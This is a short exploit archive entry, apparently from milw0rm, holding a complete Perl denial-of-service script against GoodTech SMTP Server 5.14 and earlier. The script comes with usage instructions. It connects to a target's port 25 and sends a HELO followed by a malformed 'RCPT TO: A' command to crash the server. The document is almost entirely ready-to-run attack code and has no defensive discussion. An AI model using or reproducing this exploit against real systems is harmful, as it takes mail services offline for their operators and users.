GoodTech SMTP Server <= 5.14 Denial of Service Exploit

#===== Start GoodTechSMTPServer_DOS.pl ===== # # Usage: GoodTechSMTPServer_DOS.pl &#60;ip&#62; # GoodTechSMTPServer_DOS.pl 127.0.0.1 # # GoodTech SMTP Server for Windows NT/2000/XP version 5.14 # # Download: # http://www.goodtechsys.com/ # ########################################################## use IO::Socket; use strict; my($socket) = &#34;&#34;; if ($socket = IO::Socket::INET-&#62;new(PeerAddr =&#62; $ARGV[0], PeerPort =&#62; &#34;25&#34;, Proto =&#62; &#34;TCP&#34;)) { print &#34;Attempting to kill GoodTech SMTP Server at $ARGV[0]:25...&#34;; sleep(1); print $socket &#34;HELO moto.com\r\n&#34;; sleep(1); print $socket &#34;RCPT TO: A\r\n&#34;; close($socket); } else { print &#34;Cannot connect to $ARGV[0]:25\n&#34;; } #===== End GoodTechSMTPServer_DOS.pl ===== # milw0rm.com [2005-06-07]